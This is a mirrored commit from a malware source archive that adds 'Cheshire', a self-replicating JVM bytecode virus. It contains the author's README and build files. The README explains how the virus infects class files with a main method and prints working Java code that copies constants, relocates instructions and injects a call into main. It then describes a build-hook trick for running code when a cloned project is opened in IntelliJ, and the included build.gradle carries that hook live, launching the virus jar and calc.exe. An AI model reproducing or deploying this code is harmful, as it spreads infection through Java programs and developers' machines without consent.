mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-18 16:25:28 +00:00
Fixed a type
This commit is contained in:
parent
2e530a1cc0
commit
bbe5ac1fb7
423
Java/Virus.Java.Cheshire.a/README.md
Normal file
423
Java/Virus.Java.Cheshire.a/README.md
Normal file
@ -0,0 +1,423 @@
|
||||
# Virus:Java/Cheshire.A
|
||||
|
||||
![Cheshire Cat](cheshire.png)
|
||||
by Bot
|
||||
|
||||
Greetings: Coldzer0, Smelly, Neogram
|
||||
|
||||
## Cheshire
|
||||
This is the first version of my bytecode virus for the JVM. This code is functional on JVM version 8 and higher. Along
|
||||
with being capable of file infection, this virus was written to accomodate the user. Namely, this virus allows
|
||||
the user to write some code in Java and instantly use it as a viral payload. Users can easily copy any function
|
||||
or code to the target. We don't want to add additional libraries to our code so it's important to keep whatever payload
|
||||
you add to what is available as standard Java libraries. Fortunately, the JVM's standard library is enormous and very flexible.
|
||||
|
||||
## Goals
|
||||
Why would I write a virus for Java? There are a few reasons:
|
||||
- Cross platform, no need to select binaries
|
||||
- Rarity - I have not found a complete JVM virus on the web.
|
||||
- Flexibility. JVM bytecode is much easier to manipulate than cpu opcodes and binary file formats.
|
||||
|
||||
|
||||
|
||||
## Prior Work
|
||||
It appears there has not been a full Java virus in years. The only existing Java virus I could locate was
|
||||
[Strangebrew](http://virus.wikidot.com/strangebrew), which was coded in 2001. Unfortunately even in this case the full
|
||||
source was not disclosed. This virus would also not function in today's world, as Java has required bytecode verification
|
||||
since that time.
|
||||
|
||||
There could be many causes for this. I was not able to find any other documented cases of a Java virus actually functioning.
|
||||
While I was not able to find the source code for StrangeBrew, according to Symantec, the implementation was a bit buggy.
|
||||
Upon starting the work I've done here, this might have sounded like an error on the part of the virus author, but we
|
||||
will see that creating a fully functioning self-contained virus for the JVM is not a simple task.
|
||||
|
||||
## Design Overview
|
||||
|
||||
## File Infection Strategy
|
||||
Cheshire infects any class file that contains a main function because this method is standard and reliable. All virus methods are static so they can easily be injected into and run from any
|
||||
class. I chose to implement my own class file parser and infector because adding an entire library to a target is too
|
||||
easy to spot, limits us if we want to develop more advanced features such as poly or metamorphism and just requires copying
|
||||
too much data in general. In its current state, this virus is about 30kb. While large, it's much better than requiring entire
|
||||
jar files simply to operate.
|
||||
|
||||
### The Java Class File Format
|
||||
To create a virus that infects other executable files, we must first understand the executable format we are dealing with.
|
||||
_I have absorbed [this page](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html) into my very being and no
|
||||
longer understand anything about myself or the world around me._ Instead of traditional machine code, Java executables make use of bytecode. This allows portability without the software
|
||||
authors needing to think about the platform they are writing code for. We have to consider the following aspects of the
|
||||
.class file form:
|
||||
- Which items are in the constant pool
|
||||
- Which methods are available in the class
|
||||
- Do the offsets used in our instruction operands match the offsets of our newly modified code and our newly placed constants
|
||||
- How to adjust stack frames based on our modification of our target
|
||||
|
||||
#### The Constant Pool
|
||||
Just like the data section of an ELF file, .class files have something called a Constant Pool to store information needed
|
||||
by code. This is a listing of constant resources for the code to refer to as it runs. This can be anything from Strings
|
||||
and Numbers to Objects, Methods and many other things. The formatting of the constant pool is very simple: each item is
|
||||
given an index to which every other constant pool item, method and instruction may refer to. For our purposes, any
|
||||
constant pool items we need to add can simply be appended to the target's constant pool. This will not cause any issues
|
||||
with code verification or loading.
|
||||
|
||||
#### Methods
|
||||
In a fashion similar to the constant pool, every method has an index. Our code has a few tasks when it comes to manipulating methods:
|
||||
1) Read our own methods into memory so that we may copy them
|
||||
2) Find methods in target code that we can infect. In our case, any main method will do
|
||||
3) Inject our methods into the target class
|
||||
4) Modify the code of the main method to invoke our virus code before continuing as normal
|
||||
|
||||
#### Code
|
||||
Code is perhaps the simplest part of the entire class file format. Every instruction is loaded with some number of
|
||||
operands following it. There can only be up to 255 JVM bytecode instructions so the set we need to understand is pretty
|
||||
small compared to x86. The format of this data is simply an opcode followe by operands.
|
||||
|
||||
#### The Stack Map Table
|
||||
After Java 7, you can no longer simply throw instructions into a method and expect functioning program. To make type guarantees
|
||||
about code at runtime, Java maps out which variables are in the JVM's stack frame at any given time and for how long these
|
||||
conditions apply. Every stackmapframe applies for some number of instructions indicated by an offset from the current
|
||||
instruction being executed.
|
||||
|
||||
This is by far the hardest part to get right. Before Java runs code, it verifies that the code being loaded refers to
|
||||
variables that are consistent with the types defined by the code. This would be fine normally, except for _a few complications._
|
||||
|
||||
#### The Challenge
|
||||
So why is all of this hard? We run into a problem: several java instructions, one of which we use regularly, actually
|
||||
have 2 different implementations. Some instructions will refer to constant pool values and take an
|
||||
argument as a single unsigned byte(addressing up to 255 items) or two bytes(up to 65535 items). If we are appending our
|
||||
needed constants to a target constant pool and the pool has more than 255 items, we need to decide whether to use the
|
||||
instruction the original instruction that our compiler chose or a _new_ instruction addressing the correct number of
|
||||
possible constants.
|
||||
|
||||
We could simply choose to hardcode our solution to only ever use 2 byte addressing and start only with lower numbers,
|
||||
but ideally our code should be able to copy whatever methods we give it to copy and not simply some very specific code.
|
||||
The viurs should be flexible and allow for advanced payloads specific by the user. Otherwise we are very limited in what we can do and
|
||||
create more overead if we want to implement advanced features like polymoprhism or even metamorphism.
|
||||
|
||||
## Implementation
|
||||
|
||||
### Copying resources to the target
|
||||
|
||||
This is probably the easiest part of the whole process. Our code for doing this is:
|
||||
|
||||
```
|
||||
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
byte[] orig_constant = constant_pool[origin_index-1];
|
||||
|
||||
//Create a map between the old and new constant pools
|
||||
//This will help us avoid copying too many vars over and being wasteful
|
||||
if(origin.get("constant_pool_map") == null){
|
||||
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
|
||||
origin.put("constant_pool_map", constant_pool_map);
|
||||
}
|
||||
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
|
||||
if(constant_pool_map.keySet().contains(origin_index)){
|
||||
return constant_pool_map.get(origin_index);
|
||||
}
|
||||
int const_tag = orig_constant[0];
|
||||
if(const_tag == 1){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 7){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_name_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index;
|
||||
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_index = selfBytes.getShort();
|
||||
}
|
||||
else{
|
||||
new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
}
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_class_index = copyConstant(origin, orig_class_index, destination);
|
||||
String thisClass = getClassName(origin);
|
||||
byte[] methodClassBytes = constant_pool[orig_class_index-1];
|
||||
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
|
||||
methodClassBuffer.get();
|
||||
int classNameIndex = methodClassBuffer.getShort();
|
||||
String methodClassName = getUtf8Constant(classNameIndex, origin);
|
||||
|
||||
if(methodClassName.equals(getClassName(origin))){
|
||||
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
||||
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
|
||||
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
||||
new_class_index = selfBytes.getShort();
|
||||
}
|
||||
b.put(orig_constant[0]);
|
||||
b.putShort((short) new_class_index);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 8){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_string_index = copyConstant(origin, orig_string_index, destination);
|
||||
b.putShort((short) new_string_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
|
||||
}
|
||||
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
|
||||
int new_index = addToPool(destination, orig_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 12){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
||||
b.putShort((short) new_name_index);
|
||||
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 15){
|
||||
ByteBuffer b = ByteBuffer.allocate(4);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
|
||||
int new_reference_index = copyConstant(origin, old_reference_index, destination);
|
||||
b.putShort((short) new_reference_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 16){
|
||||
ByteBuffer b = ByteBuffer.allocate(3);
|
||||
b.put(orig_constant[0]);
|
||||
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
||||
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
||||
b.putShort((short) new_descriptor_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else if(const_tag == 18){
|
||||
ByteBuffer b = ByteBuffer.allocate(5);
|
||||
b.put(orig_constant[0]);
|
||||
b.put(orig_constant[1]);
|
||||
b.put(orig_constant[2]);
|
||||
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
||||
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
||||
b.putShort((short) new_name_and_type_index);
|
||||
byte[] new_constant = b.array();
|
||||
int new_index = addToPool(destination, new_constant);
|
||||
constant_pool_map.put(origin_index, new_index);
|
||||
return new_index;
|
||||
}
|
||||
else{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
|
||||
we want to copy an item over, we do a quick check to see if we've already copied that item. If so, simply return
|
||||
the index of the item instead of copying again. The JVM generally does not care too much about what you put in the constant
|
||||
pool as long as it's a valid constant.
|
||||
|
||||
### Moving Methods
|
||||
|
||||
Copying a method from the source to the target is trickier than it sounds. While adding a method to a compiled class is
|
||||
merely a matter of adding it to an index of methods, the real challenge is in ensuring the instructions for the method being
|
||||
copied point to the correct resources and offsets. We have a useful function for consistently referring to the correct
|
||||
constant pool resources but we need a way to consistently calculate the correct instruction positions and offsets for our
|
||||
methods to actually function at runtime.
|
||||
|
||||
The workhorse of the virus for this is the instructionIndex method:
|
||||
```
|
||||
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
|
||||
int oldposition = 0;
|
||||
int newposition = 0;
|
||||
int remainder = 0;
|
||||
int instruction_pos = 0;
|
||||
int list_offset = 0;
|
||||
if(oldList.size() != newList.size()){
|
||||
list_offset = newList.size() - oldList.size();
|
||||
}
|
||||
// Step one: Convert old index
|
||||
while(oldposition < index){
|
||||
if(oldposition + oldList.get(instruction_pos).length <= index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
}
|
||||
else if(oldposition + oldList.get(instruction_pos).length > index){
|
||||
oldposition += oldList.get(instruction_pos).length;
|
||||
instruction_pos += 1;
|
||||
remainder = oldposition - index;
|
||||
oldposition -= remainder;
|
||||
}
|
||||
}
|
||||
instruction_pos += list_offset;
|
||||
//Step two: Convert instruction_pos + remainder to new position
|
||||
for(int i = 0; i < instruction_pos; i++){
|
||||
newposition += newList.get(i).length;
|
||||
}
|
||||
return newposition;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
There's no magic here. Essentially we just need to translate the original position of some code
|
||||
to the new position of the same code after it has been modified. This function ends up being
|
||||
heavily leveraged throughout the rest of the virus. For the excruitiating details of
|
||||
how this is used to adjust instruction operands, see the processInstructions method in SelfExamine.java.
|
||||
|
||||
### The StackMapTable
|
||||
|
||||
A virus for the JVM would be very easy if it were not for the Stack Map Table. This ~~fucking~~ mechanism gives
|
||||
reasonable type safety guarantees, but requiring specific code offsets for certain kinds of stack conditions to apply
|
||||
complicates the process of injecting code. Essentially we have to not only recalculate our own code as
|
||||
we copy it due to the new positions of our constants in the constant pool and the new sizes and positions of our copied
|
||||
instructions, but we also have to calculate what the offsets should be if we add code to existing code.
|
||||
|
||||
Since we are aiming to inject instructions directly into our target's main method without causing a crash, we need
|
||||
to think about this quite a bit. However it's worth noting that this is still dramatically easier than doing this for an
|
||||
x86 instruction set.
|
||||
|
||||
The code to calculate the correct StackMapTable offsets can be found in processAttribute. All I'm going to say about it
|
||||
is that it took forever to get functioning without errors.
|
||||
|
||||
### Injection
|
||||
|
||||
The last part of our process after we copy our methods is actually inject instructions into a function that we did not
|
||||
write and have no control over. The good news for me is that this didn't require too much extra work.
|
||||
|
||||
```
|
||||
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
|
||||
//Are there any functions called main?
|
||||
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
|
||||
//We should parse through the constant pool, look for the methodref with our method name and capture the index
|
||||
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
||||
int methodRefIndex;
|
||||
byte[] instruction_bytes = new byte[3];
|
||||
|
||||
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
|
||||
//For that method manually.
|
||||
|
||||
//Find the Constant Pool index of the MethodRef for our virus.
|
||||
for(int i = 0; i < constant_pool.length; i++){
|
||||
byte[] constant = constant_pool[i];
|
||||
|
||||
if(constant[0] == (byte) 10){
|
||||
byte[] natindexbytes = new byte[2];
|
||||
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
|
||||
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
|
||||
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
|
||||
byte[] nameindexbytes = new byte[2];
|
||||
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
|
||||
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
|
||||
String methodName = getUtf8Constant(NameIndex, origin);
|
||||
if(methodName.equals("Cheshire")){
|
||||
methodRefIndex = i+1;
|
||||
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
|
||||
ByteBuffer bb = ByteBuffer.allocate(2);
|
||||
bb.putShort((short) methodRefIndex);
|
||||
byte[] index_bytes = bb.array();
|
||||
byte invokestatic = (byte) 184;
|
||||
instruction_bytes[0] = invokestatic;
|
||||
instruction_bytes[1] = index_bytes[0];
|
||||
instruction_bytes[2] = index_bytes[1];
|
||||
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
|
||||
inject_instructions.add(instruction_bytes);
|
||||
destination.put("inject_instructions", inject_instructions);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
byte[][] methods = (byte[][]) destination.get("methods");
|
||||
for(int i = 0; i < methods.length; i++){
|
||||
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
||||
b.get(new byte[2]);
|
||||
int nameIndex = b.getShort();
|
||||
b.get(new byte[4]);
|
||||
String methodName = getUtf8Constant(nameIndex, destination);
|
||||
if(methodName.equals("main")){
|
||||
try {
|
||||
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
|
||||
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
|
||||
for execution. As you can see, I horribly bastardized my own code here by adding the newly generated instruction to an item in the destination's HashMap. This is horrible and I'm sorry.
|
||||
It does however appear to have worked so there's that.
|
||||
|
||||
## Transmission Mechanism
|
||||
|
||||
One thing I've bundled with this virus is a very simple but effective way to help this virus spread. We know that we're
|
||||
interested in infecting .class files inside of Jars, but simply allowing it to happen and spread over time would tkae a while.
|
||||
|
||||
After some digging into how we might abuse build systems to spread our code, I stumbled on to the somewhat surprising fact
|
||||
that it is trivially easy to trigger code execution when somebody clones a gradle project in IntelliJ IDEA. This trick
|
||||
probably also works in Android studio. I haven't tried it myself - maybe you should :)
|
||||
|
||||
The trick is very simple:
|
||||
|
||||
In settings.gradle in your project, place some innocent looking comments and code:
|
||||
```
|
||||
task testSuite(type: JavaExec) {
|
||||
jar
|
||||
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
|
||||
classpath += sourceSets.main.runtimeClasspath
|
||||
main = "Goat"
|
||||
}
|
||||
|
||||
void autoBuild(){
|
||||
testSuite
|
||||
String classpath = sourceSets
|
||||
exec {commandLine 'calc.exe'}
|
||||
|
||||
}
|
||||
|
||||
build{
|
||||
autoBuild();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
|
||||
to run upon build. In IntelliJ IDEA, build is run every time a project is opened. For dramatic effect I've made
|
||||
this code launch calc.exe but you could easily be much sneakier. ***The result of this obvious issue is that we can
|
||||
get execution on clone in IntelliJ IDEA.*** Give it a try :)
|
||||
|
||||
## End Result
|
||||
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
|
||||
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
|
||||
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.
|
||||
|
61
Java/Virus.Java.Cheshire.a/build.gradle
Normal file
61
Java/Virus.Java.Cheshire.a/build.gradle
Normal file
@ -0,0 +1,61 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
}
|
||||
|
||||
|
||||
group 'org.example'
|
||||
version '1.0-SNAPSHOT'
|
||||
sourceCompatibility = 1.8
|
||||
build.dependsOn.add("testSuite")
|
||||
|
||||
|
||||
task testSuite(type: JavaExec) {
|
||||
jar
|
||||
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
|
||||
classpath += sourceSets.main.runtimeClasspath
|
||||
main = "Goat"
|
||||
}
|
||||
|
||||
void autoBuild(){
|
||||
testSuite
|
||||
String classpath = sourceSets
|
||||
exec {commandLine 'calc.exe'}
|
||||
|
||||
}
|
||||
|
||||
build{
|
||||
autoBuild();
|
||||
}
|
||||
|
||||
|
||||
jar {
|
||||
|
||||
manifest {
|
||||
attributes 'Main-Class': 'SelfExamine'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
task fatJar(type: Jar) {
|
||||
|
||||
doFirst {
|
||||
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
|
||||
}
|
||||
exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA'
|
||||
manifest {
|
||||
attributes 'Main-Class': 'SelfExamine'
|
||||
}
|
||||
baseName = project.name + '-all'
|
||||
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
|
||||
with jar
|
||||
}
|
||||
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
compile group: 'javassist', name: 'javassist', version: '3.12.0.GA'
|
||||
testCompile group: 'junit', name: 'junit', version: '4.12'
|
||||
}
|
BIN
Java/Virus.Java.Cheshire.a/cheshire.png
Normal file
BIN
Java/Virus.Java.Cheshire.a/cheshire.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 24 KiB |
BIN
Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
6
Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
6
Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
#Sun Apr 05 15:56:09 EDT 2020
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-5.2.1-all.zip
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
zipStorePath=wrapper/dists
|
||||
zipStoreBase=GRADLE_USER_HOME
|
172
Java/Virus.Java.Cheshire.a/gradlew
vendored
Normal file
172
Java/Virus.Java.Cheshire.a/gradlew
vendored
Normal file
@ -0,0 +1,172 @@
|
||||
#!/usr/bin/env sh
|
||||
|
||||
##############################################################################
|
||||
##
|
||||
## Gradle start up script for UN*X
|
||||
##
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
# Resolve links: $0 may be a link
|
||||
PRG="$0"
|
||||
# Need this for relative symlinks.
|
||||
while [ -h "$PRG" ] ; do
|
||||
ls=`ls -ld "$PRG"`
|
||||
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||
if expr "$link" : '/.*' > /dev/null; then
|
||||
PRG="$link"
|
||||
else
|
||||
PRG=`dirname "$PRG"`"/$link"
|
||||
fi
|
||||
done
|
||||
SAVED="`pwd`"
|
||||
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||
APP_HOME="`pwd -P`"
|
||||
cd "$SAVED" >/dev/null
|
||||
|
||||
APP_NAME="Gradle"
|
||||
APP_BASE_NAME=`basename "$0"`
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m"'
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD="maximum"
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
}
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
}
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "`uname`" in
|
||||
CYGWIN* )
|
||||
cygwin=true
|
||||
;;
|
||||
Darwin* )
|
||||
darwin=true
|
||||
;;
|
||||
MINGW* )
|
||||
msys=true
|
||||
;;
|
||||
NONSTOP* )
|
||||
nonstop=true
|
||||
;;
|
||||
esac
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||
else
|
||||
JAVACMD="$JAVA_HOME/bin/java"
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD="java"
|
||||
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
|
||||
MAX_FD_LIMIT=`ulimit -H -n`
|
||||
if [ $? -eq 0 ] ; then
|
||||
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||
MAX_FD="$MAX_FD_LIMIT"
|
||||
fi
|
||||
ulimit -n $MAX_FD
|
||||
if [ $? -ne 0 ] ; then
|
||||
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||
fi
|
||||
else
|
||||
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# For Darwin, add options to specify how the application appears in the dock
|
||||
if $darwin; then
|
||||
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||
fi
|
||||
|
||||
# For Cygwin, switch paths to Windows format before running java
|
||||
if $cygwin ; then
|
||||
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||
|
||||
# We build the pattern for arguments to be converted via cygpath
|
||||
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||
SEP=""
|
||||
for dir in $ROOTDIRSRAW ; do
|
||||
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||
SEP="|"
|
||||
done
|
||||
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||
# Add a user-defined pattern to the cygpath arguments
|
||||
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||
fi
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
i=0
|
||||
for arg in "$@" ; do
|
||||
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||
|
||||
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||
else
|
||||
eval `echo args$i`="\"$arg\""
|
||||
fi
|
||||
i=$((i+1))
|
||||
done
|
||||
case $i in
|
||||
(0) set -- ;;
|
||||
(1) set -- "$args0" ;;
|
||||
(2) set -- "$args0" "$args1" ;;
|
||||
(3) set -- "$args0" "$args1" "$args2" ;;
|
||||
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# Escape application args
|
||||
save () {
|
||||
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
|
||||
echo " "
|
||||
}
|
||||
APP_ARGS=$(save "$@")
|
||||
|
||||
# Collect all arguments for the java command, following the shell quoting and substitution rules
|
||||
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
|
||||
|
||||
# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
|
||||
if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
|
||||
cd "$(dirname "$0")"
|
||||
fi
|
||||
|
||||
exec "$JAVACMD" "$@"
|
84
Java/Virus.Java.Cheshire.a/gradlew.bat
vendored
Normal file
84
Java/Virus.Java.Cheshire.a/gradlew.bat
vendored
Normal file
@ -0,0 +1,84 @@
|
||||
@if "%DEBUG%" == "" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
